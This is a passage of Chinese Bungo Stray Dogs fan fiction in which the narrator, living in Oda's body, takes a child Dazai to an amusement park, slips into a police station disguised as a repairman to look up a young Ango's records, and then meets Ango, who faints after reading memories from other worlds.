其实我心里也没底,就算我是横滨最顶尖的杀手,吃下这么巨量的冰淇淋,肠胃也该不舒服了,但我猜测,我的身体是被[书]塑造出来的,所以没有受到不良影响。 这么想着的时候我眼前突然闪过了天堂咖喱饭的模样。 ……所以说首领宰的饭已经是一种概念武器了吗?- 作者有话说: 此刻的首领宰(幽幽盯):我会……一直…… 第68章 异能力的秘密 我们花了好半天工夫来解决香蕉船冰淇淋的遗留问题。 再出来的时候, 太宰治小脸恹恹的,短暂时间内失去了闹的力气:“下一个玩什么?” 看他有气无力的模样,今天不像是被我拉着来道歉的, 而像是来上刑的。 “一个都不感兴趣吗?”我确认的问着。 我不大确定太宰治是真的不感兴趣,还是这一切在他看来都没有意义, 但玩完却会觉得还不错。 太宰治眼神淡淡的扫过那些游乐设施和爆满的人群,最后视线落在一个射气球小摊上, 随手指了指:“我没玩过那个。” 那是一种简单的射//击游戏。 玩具气//枪中有十发子弹,五百日元游玩一次, 木制的气球墙上挂满了气球, 旁边的架子上摆着可以兑换的奖品。 我掂了掂那把枪。 比织田作之助的真枪轻多了, 少了很多作用, 弹道应该也是不准的。但这难不倒我,虽然我的战斗技巧是普通人的水准, 但织田作之助有开枪的肌肉记忆, 也有异能力“天衣无缝”。 我看向身旁。 太宰生疏的举起那柄过长的气//枪,艰难的抗在肩上,他凝视着那些气球墙上的颜色, 不知道在想什么,又把枪放下了, 转过头问:“织田作打得准吗?” “想要什么?”我没说准或者不准, 太宰如果有想要的东西, 我会尽力去获得。 太宰治意味不明的仰头瞥了我一眼, 也不说想要什么, 话题一拐:“织田作不是会用枪吗?你是怎么开枪的?” ——原来是想看我怎么用枪。 我心里安定下来,瞄准一枚气球。 “砰!”轻微的机械咔嗒声响起,气球爆开, 听见了刚才那句话的摊主脸色怪异,但还是很给面子的鼓起了掌:“恭喜,射中了!” “砰。”“砰。” 又是两个气球爆开。 太宰二话不说的把他那把气//枪塞我手里:“——试试这个!” “砰。”“砰。”“砰。”我满足着太宰的要求,摊主脸上维持的笑容有些僵硬:“……恭、恭喜,全都打中了。” 男孩越看越觉得不对劲,眉头紧皱,他拿起我原本用过的那把枪,同样举起来扣动扳机,幽幽沉默了几秒: “为什么我射不准?” 他的动作虽然生疏,以前可能连玩具枪都没玩过。但是他瞄准气球的角度,风向,时机的判断都很精准。 如果这是一把真正的枪,太宰不可能射不准。 ……如果这是一把真正的枪的话。 我没有为难摊主的想法,看到太宰没有关注那些玩具的意思,交了钱带他离开。 “请等一下!这个……请收下这个奖品。”摊主却追了过来,手上捧着一款玩具手//枪,他的视线看向太宰,解释,“你们的分可以兑换这个了。” 这款玩具枪仿制的是马卡洛夫PM手//枪,是很常见的亚洲制式手//枪。很巧合的是,这也是太宰后来在□□时期常用的款式。 “谢谢。”我看到太宰不伸手去接过玩具,百般无聊的扫了一眼就不管了,替他收下来道谢。 直到走远了,我才解释:“这种小摊上的玩具枪没有太高的精度,用了多年的旧枪也会有各种问题,总是打不准,摊主就是靠这些赚钱的。” 男孩看我的眼神却更不对劲了,眯起了眼,目光渐渐变得犀利:“这不是凭经验和手感就能解决的问题吧?你的第一枪就打准了。” “我作弊了。”我坦然承认。 是啊,就算是织田作之助这个顶尖杀手,在面对没有办法预测弹路的玩具气//枪时,也做不到一枪不空,总要有试验的时间。我又怎么可能百发百中? 是异能力“天衣无缝”帮我预测了射出后的结果,又进行了调整才能射中的。 一想到织田作之助在捡宰日里这么欺负首领宰,我现在又同样的用异能力欺负幼宰,背后还有一个首领宰全程幽幽看着我是怎么哄骗孩子的,我就—— 我就很开心。 名场面复刻,怎么不激动呢? 太宰的眉头几乎打成了结,叹了口气,他充满求知欲的看着我:“织田作你是怎么做到的?这种预知一样的能力?” 我看得出来,太宰原本对游乐园兴致缺缺的注意力全都转移到了我的身上,他像是发现了一个很感兴趣的玩具一样,目光灼灼的盯着我催促。 我不得不开始思考。 这个年纪的太宰治,又是刚被我绑架出来的,他以前有接触过“异能力”的概念吗?或许在青森县的时候没有,但是在横滨的这两天,以太宰的聪明,他大概察觉出了这里的人都隐约有些特殊的才能了。 ——尤其是在遇见了社长和乱步之后。 到了这一刻,只是太宰开始挖掘起了这个秘密本身。他也许早就知道自己的身上也是不同寻常的。 “抱歉。”我道了一声歉,拿着那个玩具盒子继续领路,“这不是什么值得隐瞒的事,但我觉得你可能更喜欢自己发现。” 太宰默认了,露出了一个孩童般天然无瑕的纯然笑容,十分真心。他认真地说:“织田作,继续!” 我看到男孩拿出了全部的动力,目不转睛的盯着我,在接下来的时间里一起去玩了过山车,大型闯关墙,真人迷宫和碰碰车。 坐过山车的时候,太宰治表情痛苦扭曲的捂着耳朵,充满决心的盯着我。垂直过山车翻滚的再扭曲,他下来后也只是飘飘忽忽的摇晃踉跄了几下,轻描淡写的说:“单纯的利用失重感在刺激人的生理反应而已,有什么好玩的……唔呕!” 道理虽然都明白,但是刚满十岁的太宰治还没办法对抗自己的生理反应,头晕眼花的干呕了半天。 托他全程紧盯着的福…… 就算我在过山车上颠得心跳失速,被失重感吓得天崩地裂了,也只敢绞紧喉咙失了声,面瘫着脸维持住了织田作之助本尊的形象…… 不行,织田作之助的形象不能从我的手里败坏! 我下来后两腿有些发软的想着。 到了大型闯关墙的时候,我终于放松了。塑料小球做成的大池子上方是各种索桥,电动的可旋转的机关墙,孩子们绑着安全绳、拿着可以发射塑料球的笨重玩具枪大呼小叫,爸爸妈妈们穿着战斗服背着一箩筐圆球子弹,负重前行。 没有被干扰到,也没有被砸下去,走到终点的家庭才能获胜。 我没有任何意外的提前躲过了机关墙上的悬臂。 太宰在拿着枪和几个孩子对轰,发出了畅快的一连串笑声:“……哈哈哈!” 我眼疾手快的在他惹了众怒被围攻之前伸出手臂,一拦勾回来,夹在腰旁蹲下,刚好躲过了下一次的悬臂。 远处有孩子大哭了起来,尖锐的声音刺激着我们的耳膜:“爸爸,他打我!!” 我开始意识到那几个怒气冲冲的家长是冲着我们来的。 机关墙的前面是几个斜着的三角形区域,挨得很近,但是非常陡峭,下方就是代表失去了资格的泡沫球海。小孩子在这一关也可以跳过去,前提是可以保持平衡,对大人来说这一关更难。 “你行吗织田作?”太宰好奇地问我。 “应该吧。”我其实没有什么把握,气虚的回答。 现在这种情况,不能行也得行,我完全不想回过头去面对那几个家长的纠纷。 那就只能往前了。 我刚往前跳到第一块三角形区域上,摇晃着还没稳住平衡,视野余光就略过一抹熟悉的颜色——是预知中的太宰! 在天衣无缝的视野里,他毫不犹豫的起跳——冲着下面的泡沫海去了。 我吓出了一身冷汗,猛然扑了过去,往下一扫,在最后一秒岌岌可危的用脚尖勾住了男童的身影。 “咳!”太宰治的腹部在重力的作用下遭受了重击,脸色都唰的灰白了。在两秒钟后,他有气无力的挂在我的腿上被我小心翼翼的取了回来。 “你的预知……”太宰气若游丝的反问着,“怎么什么都看得到?没有缓冲的吗?” “没有。”我坦率的说着,“但是只能维持五秒到六秒。” 接下来的真人迷宫验证了这一点。 太宰治为了验证我的能力,一如既往的胡闹捣乱,我们没少拐进复杂的死路,就算是我有异能力,也频频出错。我被迷宫的复杂程度搞得晕头转向。 但是我怀疑太宰已经把来回的路都记下来了。 他很开心似的一路蹦着,却不好好走路,一定要牵着我的手。 “……”我叹了口气,“太宰,你已经发现了啊。” “发现了呢。”太宰治露出了恶作剧的孩子一样得意的阴暗笑容,重复着。 他拉着我没有丝毫压力的流畅穿过了那些道路,七拐八拐,径直到了出口的地方,笔直的指向下一个项目:“织田作,我们去玩那个!” 他的兴致看起来彻底被勾起来了,跃跃欲试的看着我。 那是碰碰车。 ——在太宰治的强烈要求下,我们坐上了同一辆碰碰车。 “撞他。”他从嘴巴里吐出简单的几个字,干脆利落的发了命令。 我没有异议的瞄准了前面的一辆车,照做。 “吱呀——!”但是很快的,让人牙酸的轮胎摩擦声响起,车子后方传来一股巨大的碰撞感,我和太宰都在失重中向前顿了一下,又被安全带死死的拽了回来,在座位上被前后交夹的痛殴了两下。 我回头一看,是之前玩大型机关墙的爸爸带着孩子!他们追过来了,那个男人脸上洋溢起不怀好意的微笑。 但是我为什么没有察觉? 我再低头看向身侧。 太宰治的手紧张似的死死按在我的腿上。 我的视线默默顺着他的手腕上移,与男童对上。太宰无辜的望着我,还在大呼小叫:“织田作在看什么?撞回去……快快,该撞回去了!” 无助的我一时间真的不知道自己现在是在二对二,还是在三打一…… 我:“……好。” 我快速操作着后退的档位,转动着方向盘大幅度调转方向,看准了机会,撞!- 作者有话说: 玩得真开心hhhhh 第69章 潜入警局的任务 …… “这么快就玩完了吗?唉——”太宰抱怨着, 来的时候不情愿的是他,走的时候恋恋不舍的人还是他。但是没办法,玩到了时间, 我们只能意犹未尽的出了场地。 夕阳已经西下,游客们都在往外走了。我在温暖的落日余晖里想到了两个字:《斜阳》。唔, 这氛围真的很适合。 太宰,现在应该很清楚自己的异能力了吧。 我想。 男孩走在前面, 脸上汗津津的,都是刚才玩闹留下的。他脸上笼罩着的欢喜神情渐渐地褪去了, 像是虚假空洞的一层假面, 眼底褪去的快乐之下是如同泥潭一样的平静, 他突然唤了一声: “织田作——” “你是我会认识的织田作吗?” 男孩用上了不经意的语气。 我顿住了。 在人来人往的横滨大街上, 我和太宰治在人行道上安静的走着,但是刚才的问题我却不知道该怎么回答他。也不知道幼宰是怎么观察着我发现的。 “这样啊。”太宰轻声说。 “我们以后还能再见面吗?”他疑惑的提出了一个问题, 就像好奇的孩童问出来的天真稚气的话题。 这个问题我也不知道该怎么回答, 只好笨拙的吐露了一句心声: “我很讨厌每一次离别,但是我忍受不了认识你们的诱惑。” “我们?” “幼年时的你,少年时的你, 青年时的你,还有更成熟的你, 特殊时间线的你, 太宰。”在我说完这句话后, 男孩看向我的目光莫名的染上了些奇异的色彩。他的视线落在面前的空气中, 好像看到了什么我看不见的画面, 男孩的目光寂寞又遥远,然后他垂下了视线。 “是这样的话……就没办法了。织田作眼中的世界,和别人都不一样。真想看看啊——这样神奇有趣的经历。” 他任性的嘟囔着。 我不知道该说什么, 良心内疚的痛了起来。 大脑开始不受控制的思考起了一件事情——假如将来的我取走了所有世界的[书],完成了这项壮举,我能不能在日常的生活中前往过去的世界,去见一见这些友人呢? 一开始我还在躲避着每个世界中的太宰和乱步,但是自从与首领宰相识以后,我就再也抵抗不了了。 一百个世界,每天去一个的话……呃,万千个世界…… 我头脑急转,很快算出了一个让自己流汗的数字。 不行……我必须有针对性的先去那些[织田作之助还存在着的世界],想办法保住他们才行。 在我思考沉默的时间里。 年幼的太宰治不知道想到了什么,他在几秒钟后突然催促了起来:“织田作,织田作!你有重要的事情要去做,对吧?已经耽搁半个月了,‘那样东西’的其他线索在哪里?你肯定知道。” 我没办法反驳:“啊。” “走吧。”太宰的声音却恢复了轻快。 我:“?” “第一个地点在哪里?”太宰似乎着急的催促着,在弄懂了这几个秘密之后,他好像下定了决心要帮上我的忙。 男童的眼睛又大又圆,眼尾带着稚气,那双眼睛总是幽深得像是黑洞,吸走了所有情绪,没有半点高光。但在他着急着催促的这一刻,脸上的表情好像出现了无法阻挡的裂缝,太宰勉强的歪着头问: “织田作还没有说过,如果是你获得了那样东西,你打算做什么?” 我注意到了太宰的谨慎,就算是在只有我们两个人对话的时候,他也没有重复出[书]的称呼。 我也注意到了,比起刚认识时的冷漠和无所谓,一起折腾玩耍时的恶作剧,现在的男童有一种急切的态度,好像我们之间变得熟稔而亲昵,距离被抹平了,就像织田作之助和黑时宰的相处那样——像是一个守着沙漏的人,无时无刻不数着手掌缝隙中漏下去了多少砂砾,对于那份结局,已经预见了。 他知道了结局是无法改变的,所以只能面对。但是,他珍视起了现在的这份时间。 ——连时间都好像变得紧迫了起来。 我也清楚这一点,所以我下定了决心,呼出一口气,对男孩讲起了熟悉的故事:“……” ……那是一个绑架了朝雾卡夫卡的故事。 那也是为了维持万千个平行世界的存在、而选择的一种自大傲慢的方式,是我带着私心的打算。 太宰安静的听着,在饭店里嚼着米粒的时候也很捧场,腮帮子鼓着,对我歪了歪头:“唉,我的世界也会迈上既定的发展吗?” 他的语气天真而平静,眼瞳中却不含一丝笑意。 “不会。”我顿了顿,带上了笃定的平淡语气,“就算阴谋家们还是会一次次的试探横滨,你都不会让事情继续那样发生。” 男孩笑了一下抱怨起来:“织田作很了解我啊。唔,我都没办法这么了解织田作!” “以后会的。”我小心谨慎的建议着。至少我知道,没有获得书的记忆时,知道了未来的太宰治也不可能就这么放过织田作之助,要不是对方还在坐牢,他一定会好奇的去提前结识未来的友人的。 那就不得不为太宰治找一个帮手了。 改变未来也是,结识友人也是。 我下定了决心告诉他:“吃完饭,我们要去一趟警局的户籍科。” 睁大眼睛的男童:“——唉唉唉唉?” 二十分钟后。 留守在警局一楼、坐在椅子前捧着饭盒的警员头顶上“噼啪”响了两声,光线唰的一下暗了下去,把整个大厅变得一片漆黑。 “搞什么啊!”警员抱怨了一句,又填了一口丸子塞进嘴里,摸着黑踉踉跄跄的去找电闸,“快新年了,东西总是坏,什么时候能来人修啊……” 折腾了五六分钟,警员才把电力系统复原,明亮的光线刺入这个安宁的建筑结构中,桌子上摆着的饭菜已经冰凉得有一会儿了。 警员发着牢骚坐了回去,唉声叹气。 “你好。” 一道沉稳的声音在门口响起。戴着帽子、穿着灰色维修服装的红发男人推开玻璃门走了进来,身旁跟着一个怯生生的男孩。男孩把半张脸都藏在红发男人的袖子后面,腼腆害羞的打量着警员。 “请问是这里备的案吗?我是来维修的。”男人满是茧子的手上提着一个工具箱,他抬起灰蓝色的眼睛,语气朴实而没有波动,不管是谁听了他的话都会相信他在专业上的可靠程度的。 警员喜出望外的跳起来,不住抱怨着:“太好了!你是维修工?顺便看一下通风管道和储藏间的水管吧!通风管道里好像有死老鼠,一股臭味,水管也滴滴答答流个不停……电闸最烦人,一到年底就总跳闸,也不知道是哪里出了问题……” 他抱怨着走了一路,对维修工在年底带着孩子出来工作的这种事没有什么反应,还亲昵的捏了一把他的小脸逗弄着,在孩子嫩的像豆腐似的脸颊上留下了一道红印子:“几岁了?和叔叔坐在大厅里等会儿怎么样?” 太宰治天真乖巧的笑着:“不行呢,叔叔,我爸爸需要我帮忙——通风管道也只有我这样的体型才爬的进去哦。” 一个几岁大的孩子,说话做事都老练得很。 警员看着了然,也不操闲心了,给他们父子俩指指电力系统总闸、通风管道和储藏间的位置,就放他们自己捣鼓去了。 冷清的走廊上只剩下了假扮的父子俩。 在这个世界中的两人年纪相差了十三岁,说是父子也可以解释了,更别提织田作之助有着一张过度成熟的长相,警员丝毫没有怀疑。 我抬头扫过每一个监控摄像头的方向,先老老实实捣鼓了一会儿电闸,然后一路排查着摸进了户籍室,对他们说明请求查看这里留下的电器来排除隐患,无论大小。 “拜托了。” 我身边围着一群文职警员,有人迟疑的挠着稀疏的头发:“我的烧水壶都用了五六年了,不可能是它吧?” 另一个人有不赞同的意见:“也许是老化漏电了?电闸总是跳,都排查到咱们科室了,还说什么?” 太宰默契的跟在我身后,悄无声息的被我遮挡得严严实实。在我被文员们围在角落里挨个检查电器的时候,他小巧的身影绕过那排大部头,用电脑的个头挡住了自己,手指笨拙的在键盘上摸索了一会儿,就飞快的掌握了用途,检索了什么栏目。 “这个烧水壶和传真机以后不能再同时使用了。”我花了半天工夫找出了原因,郑重的警告着,“如果可以,整条线路都得更换一遍,你们最好向上面打报告,这不是我一个人可以搞定的工程。” 文员们顿时唉声叹气一片:“唉……”“怎么可能批啊!”“等你过来都等了好久,下一次维修不知道要到什么时候了……”“好吧好吧,只要不一起用就可以了,不会再经常跳闸停电了,对吧?” 还是有上了年纪的老警员快速整理了心情,向我确认着。 “在彻底老化之前是这样的。”我叮嘱着他们,余光扫过一抹小身影像是抹了油的鱼一样光滑的溜出了门口,我便也告辞了。 去解决下一个问题——漏水的储藏室。 合上这个狭小房间的门之后,太宰迫不及待的从嘴巴里吐出一串情报:“坂口安吾,父母是大学教授和讲师,高等教育家庭。他在横滨的国立附属中学读二年级,成绩优秀,偏差值在七十以上,已经提前被秘密单位招录,档案上面没有详细记载……线索在他身上吗?我们为什么要先来找他的档案?” 男孩感兴趣的问。 我先去找到分水阀门拧上,又回来半跪在地上,用拇指抵住这个生锈的水龙头观察着,打开工具箱取出扳手和一卷生料带。因为没有除锈剂的缘故,我接下来的动作都很小心翼翼,每扭一下都听到水龙头发出不详的咯吱呻//吟声。我说: “他是我们的另外一个友人,所以要先去检查他的身边……我不知道安吾这个时间段在哪里。” 那就只能来查警局的档案了。 对于能不能找到,我也是碰运气的,毕竟这里是横滨。 只追查档案的话,其实靠我一个人足够潜进来了,靠着“织田作之助”的身手,我有把握不被他们碰到。但如果还要带上一个十岁的前津岛家的小少爷……我们两个人只能老老实实换装蒙混进来查档案。 好在太宰和我的配合默契,还是查出来了。 “唔……”太宰治若有所思,不说话了。 比起他在思考坂口安吾的事,我注意到他的视线像是口香糖一样牢牢的粘在了我维修水龙头的动作上。 “织田作,你会装修集装箱,也会维修水龙头和电力设施……这些杂活真有意思!”男孩用手掌根托住自己的下巴蹲下来,饶有兴致的说着,他的眼眸亮亮的,也有点跃跃欲试的样子。 “好了。”我听着这样的夸奖有些脸红。 高难度的维修我当然不会,但是这种简单的动手工作只要查一查教程,我还是可以搞定的。 真正该归功的是真·维修工的这个宝藏工具箱,常用工具备的齐全极了,借用完了还得给他还回去。 我从工具箱里挑选出一枚合适尺寸的零件更换上去,用密封胶帮忙固定水龙头,用生料带在外围缠绕几圈,再用扳手拧紧,出门打开分阀试了试。 水龙头不再漏水了。 我对自己的成果很满意,这个水龙头破旧的部分连螺旋纹都锈平了,根本没办法继续使用,但我不是真正的维修工,工具箱里没有随时备着新水龙头,只好用差不多的零件和生料带进行了一番抢救。 总得来说,只要储藏室几年内不再漏水就行。 “下一个是通风管道。”我回想着警员领着我们查看的位置,向之前的科室里询问着借了一架警局的梯子,扛着它回来的时候,顺便领着查验的警员路过了储藏室,向他展示安安静静的水龙头。 “干的真不错啊!”警员对着那个抢救过的旧水龙头赞不绝口,对于不需要填表去报再换一个新水龙头的事情夸了又夸。 “喂喂。”太宰像是小尾巴一样被迫跟在我身后走来走去,他纳闷的说,“东西都查到了,我们还留在这里干什么?” “维修通风管道。”我灰头土脸的把方形的管道栅栏口拆下来,无辜的说。 我不知道以往织田作之助是怎么做任务的。但我认为——能够收尾圆满的完成这次潜伏任务不让他们起疑心,又顺手帮助了警局的人,这样的做法应该不算错误的吧? 第70章 见少年安吾 “这样就好了。” 我满意的还了梯子, 与警员道别,牵着太宰回去悄无声息还了维修工的衣服和工具箱,开车回了废弃工厂。 “明天是火曜日, 我们到安吾的学校门口堵他。”我心里已经有了个计划,叮嘱了几句。 太宰治计上心来, 趴在床上翘着脚问:“坂口安吾——特招他的保密单位在未来很重要吧?” 我纵容的看着他默认。 “所以‘书’的事不能告诉他。”太宰进一步确认着,仿佛自言自语着, “唔,坂口安吾——有没有特殊能力呢?” “他有异能力。”我说, “但是对你不起作用——对我能起作用。” 太宰的笑容更灿烂了, 嘴里却嘟囔着:“不妙啊, 我的异能力……很能招来蚊虫的样子。” 但是看男孩的表情, 完全不像是会因此害怕或是烦恼的模样。 “睡了。”太宰干脆利落的一翻身把被子卷了上来,一口气拉到了脸侧, 遮住了下半张脸, 只剩那双情绪难辨的眼眸。男孩忽闪忽闪的眨着眼睫毛安静凝视着我,乖巧的说, “织田作, 安吾和我们是友人的关系,有到什么程度?” 我看出来幼宰在装乖, 但是我还是思考了一下回答他:“可以一起去拯救世界吧。” “但是现在还不行呢。”太宰的眼中流露出了深深地遗憾, 那是恶作剧无法得逞的失望。 集装箱中的空气沉闷不流通, 气味不大好闻, 我起身把自制的窗户推开了一条缝, 防止寒冷的夜风让脆弱的男孩着凉,转头提议:“以后可以。” 只要期待着,未来安吾也许会改变的。 等到了那一天的幼宰就可以享受他的胜利成果, 把所有关于未来和我的故事告诉坂口安吾,欣赏他震惊到的表情。 “织田作,你好像很希望——我去期盼未来的生活?”男孩意味不明的困惑说着。 又被发现了。 我就没希望我能瞒过去,但是还是祈祷着幼宰不要从我的手中猜测揣摩学会追寻死亡的方式。 “睡了。”这次轮到我干脆利落的倒在床上,紧闭上了眼睛,逃避了话题。 我在心里发誓,不管接下来发生了什么,我都要坚决的假装自己累得要命、很快就睡熟了—— “唔!!” 下一刻,天衣无缝似乎想要展现什么画面,但是那画面光速被撞碎了、一同被撞碎的还有我自己。 还在床上躺着的我的腹部猛然遭受到了重击,像是虾子一样痛苦的下意识弓起了背,巨大的冲撞感差点把我的酸水都呕出来、那是眼珠都要从眼眶里跳出来的冲击程度。 “……”我颤抖着手,气若游丝的艰难睁开眼。 是太宰治从他的小床上扑了过来,愤愤的一屁股坐在了我身上,脸上挂满了不怀好意的报复微笑,无辜的左顾右盼起来:“啊呀哎呀,织田作,这是怎么了?” 还说起了风凉话。 我面无表情的缓了口气,面无表情的盯着坐在我身上不动如山、晃着脚还很得意的男孩。 这是逼我不得不使出原著织田作之助的杀手锏了! 我迅猛的伸出手挠太宰的痒痒! 男孩无辜的看着我,笑得更加阴暗了,他垂下头,像是小恶魔一样狡猾的在我耳边低语着:“织田作,我不怕挠痒痒唉。” 我大惊:“…………” 居然是完全体太宰治! 我组织了一下语言,深思熟虑后面瘫着脸吐出几个字:“太宰,那这个你怎么应对?” 太宰疑惑的居高临下盯着我。 我面无表情回看着他。 “……什么?”太宰治喃喃着,有了不好的预感。他僵硬的微微侧过头,看到一只脚以很别扭的姿势伸了过来,像是怪动乱扭的毛毛虫,另一边也有。他就这样被灵活的脚趾头合围了,离他的脸蛋越来越近—— “等——”太宰的脸色微微发绿,肩膀有些瑟缩。 看我的锁身技! 我目光一厉,发动脚丫袭击! “等等哇啊啊啊呜呜等——!”太宰呜哇怪叫着,连滚带爬的一路惨叫逃回了他的小床上,比活蹦乱跳的鱼还活泼。 “呜呜……” 男孩瘪着嘴假哭得厉害,裹着被子的样子像是受了什么天大的委屈。 “织田作……太恐怖了!”他嘀嘀咕咕着,叽叽咕咕,吱吱哇哇。 我坐在床上,假模假样的活动着我的手腕和脚腕,木着脸毫无气势的威胁;“这就是港//口黑//手党的手段了。” 小小幼宰,看遍了文野剧情的我还不知道怎么欺负小孩子吗! “——原来是港//口黑//手党吗?”男孩突然重复着。 他看着我。 我看着他。 “……” 睡觉睡觉。 我闭紧了嘴巴,倒头就睡,呆毛彻底蔫掉了。 这次,就算是天塌下来我都不会睁开眼睛! …… 时间很顺利的来到了第二天的放学时间。 我和太宰守在附属中学门口,打量着走出校门的学生们。 男孩鸢色的眼眸透彻的扫视着那些人,以他的记忆力。见过档案上坂口安吾的模样,就不会遗忘错漏。我心里难免有些忐忑紧张。 国中时期的安吾啊,不知道是什么模样? 十一月份。 天气微寒,有缤纷的红叶连绵一片,洋洋洒洒的开放着,在校园内外探出墙头,鲜红似火,美不胜收。 校园里走出来的学生们各个天真稚嫩,青春洋溢。我盯着他们有些恍惚,这完全是表世界的孩子的模样,没想到安吾原来也是这么过来的,这个时期的他还是个单纯的学生吧? 过了一段时间,一个提着书包、全身上下都写满了“好学生”的眼镜少年从学校里走出来,脸庞上满是青涩,唇边有一颗美人痣。 我精神一振,和太宰对视一眼,默契的悄无声息跟上。 少年走着走着,在一条沿海的小路上机警的停下了脚步,转过头防御性的抱紧了书包,冷淡问着:“是谁?” 我和太宰从拐角后走了出去。 “……?”坂口安吾看到跟踪他的人原来是一个带着孩子的大叔,他的目光中有些松动,语气缓和一些,“大叔,怎么了吗?” 我:“……………………” 我知道,我的相貌是[书]拓印了二十三岁的织田作之助的模样,但是,被安吾喊我大叔,这是不是有点…… 我在心里面无表情的崩溃了一角。 “织田作还不是大叔。”太宰认真的替我反驳,“他只不过是长相显老罢了!” 谢谢你太宰…… 我无力的动了下嘴唇。 一时间我还真分不清,太宰的话是在替我辩解,还是在雪上加霜的捅刀子。 “我们是你未来的朋友。”我正色的说,一只手伸进口袋里按在了我的笔记本上。 想要来和坂口安吾交朋友,第一件事就是怎么瞒过他有关[书]的部分。现在的安吾还太过年幼,我不能赌他会不会说出去交给政府,能够隐瞒来历的老办法唯有一个,就是[书]自己本身。 “你可以靠自己来看。”我对他伸出了一只手,邀请着。 坂口安吾狐疑的注视着我的手掌:“我不懂你在说什么?” 他比我想象的还要谨慎。 我不容置疑的一把攥住了安吾少年的手,他的皮肤碰到了我袖口处绑着的沉甸甸的枪带,僵了一下。 我看到坂口安吾还不能很好的掩饰住自己的变化,他眼神迷惘了一瞬,那一瞬间又仿佛过去了很久…… [织田作,我可以这么称呼你吗?]漆黑的站台上,青年期待的这么温柔询问着。 [为了报复朝雾卡夫卡。]三个人说着荒谬的话,举杯发出清脆的碰撞。 [——但是织田作先生,为什么要报复他啊??] [再见,安吾。] [织、织田作先生?!]眼镜青年近乡情怯的看着面前的红毛幼犬。 [在那之前,我们要不要来一场冒险?]Q版的红发男人一本正经的提议着。 [嘶……我的西装!]翻墙的某个身影痛苦的小声惨叫着。 [太宰老师难道已经没有吸引力了吗?!]青年哀怨的倒在地上假哭。 [胆小鬼不会和我再见。]说出了非常犀利的话语。 …… 安吾少年沉默着,大脑完全处理不了这么凌乱而复杂的逻辑,记忆其中还如同烟雾遮盖一般的掩去了很多的重点内容。脑袋发胀得难受,好像有两个钻头在两边钻着他的太阳穴。 他试图理清楚这些记忆的顺序和真假:“……” “安吾?”我意识到了不对劲,不动声色的上前一步。 眼镜少年的脸色发白,一言不发,摇摇晃晃。 他两眼一翻,昏倒了- 作者有话说: 是少年组的无赖派呢!(大叫)《 》 70-80 第71章 最后, 我不得不把安吾背到汽车里,让他躺在汽车后座上。 “居然会昏过去,他看到的东西太多了吧?”太宰治意味不明的说, 男孩抱着双臂倚在车旁,就这么挑剔的看着昏过去的坂口安吾。 他虽然不知道坂口安吾具体的异能力是什么, 但从短短的几句话里还是猜出了大概。 我思考着,没有立刻回答:“……” “唔?”太宰转头看向我, 察觉到了异常。 “我仔细思考了一下安吾的异能力……他一直以来背负着的东西,很沉重吧。”我喃喃着发出了这样的感慨。 能够读取一切物品记忆的异能力“堕落论”, 凭借自己的意愿去提取周身所有事物的过往经历, 被迫背负上万万千千个家庭、人类、事物的喜怒哀乐, 参与进他们的故事。这份能力究竟算不算诅咒呢? 这样的坂口安吾——和看到了[书]的首领宰, 又岂不是异曲同工? 不同的是,首领宰看遍了万千世界中自己的故事。坂口安吾看遍的却是这个茫茫世界中的万千个故事。 他在深陷那些记忆之中, 默默观看着那些发展的时候, 又会想什么? 不管怎么说,汽车停在一个偏僻的位置上,我和太宰现在只能等待安吾少年醒来了。 …… “安吾……”“安吾!”“安吾?” 青年清爽的嗓音, 冰冷威胁的嗓音,朴实沉稳的嗓音, 遗憾的声音, 高低不同的声音围绕着他响起, 还夹杂着可以听懂意思的汪汪声。 坂口安吾感觉自己陷入了一个荒谬的无法思考的漩涡里, 他拼命挣扎着, 却无法脱身。 以往应对众多记忆的经验,现在都失去了作用,他没办法像是摘取一片落叶那样把自己从故事中脱离出去。 ‘是啊……’ 因为他知道为什么。 这一次的众多记忆——都与他自己有关系。 ‘而且……’ 在这个充满记忆碎片的地方, 只有坂口安吾一个人,他无法违背自己的内心,也不需要欺骗谁—— ‘而且,他自己也不愿意尽快脱离。’ 那些精彩刺激又温情的记忆吸引走了坂口安吾的所有注意力。 所有的一切,如同红发男人所说,都和他有关系。 是他来到了自己面前,带来了这些混乱的记忆。是他拽着“坂口安吾”不由分说的前往了其他世界,是他一遍遍告诉其他的“坂口安吾”那份曾为挚友的真相,是他把过往记忆敞开在不同的“坂口安吾”身旁。 这是阴谋吗? 织田作之助。 就连“太宰治”,这个身份多变的男人,也是他图谋的一环吗? 他们三人成为朋友能有什么利益? 坂口安吾左思右想,心中戒备,但除了让自己可以提前与他们结识,获得许多助力以外……好像没有什么,弊端? 坂口安吾成绩优异,身份背景清白,已经提前被一个名为“异能特务科”的官方秘密组织招募了,还做了简单的培训。刚才那些想法都是他基于培训,先用理性逻辑进行的冰冷揣测。 他心中稍安,剩下的都是不知所措了。 ‘如果这些是真的……’ ‘如果都是真实的……’ 这世界上有不同的世界,大多数事件的轨迹都是相同的,但也会有小规模的改变。就像是太宰和织田作的身份变换:黑/手//党老大,小说家,侦探社成员,幼稚园老师,还有狗狗世界什么的…… 但他,和太宰,织田作,总是朋友。 “朋友。”坂口安吾反复默念着这个词。 今年十四岁的坂口安吾,从小到大也有玩得好的同学,但是他自认……他们的交情和记忆中这些刺激复杂的相处是不同的,这就是成年人的友谊吗? 坂口安吾睁开了眼睛,神色复杂。 “哟,醒了?”太宰凑过来很感兴趣的研究着他。 “……太宰。”坂口安吾有些生涩的唤出这个名字,不太习惯的看着男童。 他现在已经知道了,太宰治的异能力有多特殊,可以消除一切异能力的[人间失格],如果这个孩子也是敌人派来进行阴谋的棋子,那敌人未免也太蠢了。还有织田作之助……[天衣无缝]可以预见未来一段时间,这样珍贵的预知系异能力同样。 在记忆中,“坂口安吾”一直都认为织田作的能力只是预知现实未来发生的事件。但是安吾少年现在却从记忆中找出了很多个模糊不清的地方,那是根本说不通的地方,结合现在的经历,安吾少年得出了一个恐怖的猜测…… 织田作,他的异能力其实不止可以预测未来几秒钟吧?! 他,到底是怎么自由穿梭在不同世界之间的?他到底是怎么得知其他世界发生的事情,然后像现在这样找上门来试图改变的?他到底是怎么做到把记忆里该说的重点地方模糊过去的?就像那段时间被裁剪了一样…… 还有年龄…… 年龄根本对不上啊!! 安吾少年内心崩溃的看向太宰那张稚嫩过头的小脸,再转头看向和记忆里没有一点区别的大叔织田作。 十岁的幼年太宰治,十四岁的国中生坂口安吾,加上二十三岁的成年织田作之助——这样的组合也太不对劲了吧! 跨越了时间和空间过来…… 织田作。 能做到这一切,他——他明明是时空间能力者吧! 